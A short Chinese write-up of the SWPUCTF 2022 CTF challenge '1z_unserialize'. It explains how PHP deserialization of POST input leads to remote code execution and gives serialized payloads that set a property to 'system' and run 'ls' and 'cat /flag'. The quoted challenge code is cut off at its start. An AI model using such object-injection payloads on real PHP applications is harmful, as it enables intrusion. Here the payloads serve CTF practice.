[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]1z_unserialize wp

题目代码:

lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。

构造代码如下:

输出结果:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

payload:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

将 ls 改为其他命令,如 cat /flag 就可以查看 flag 文件:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

拿到 flag :
[SWPUCTF 2022 新生赛]1z_unserialize_第1张图片

你可能感兴趣的:(ctf,web安全,网络安全)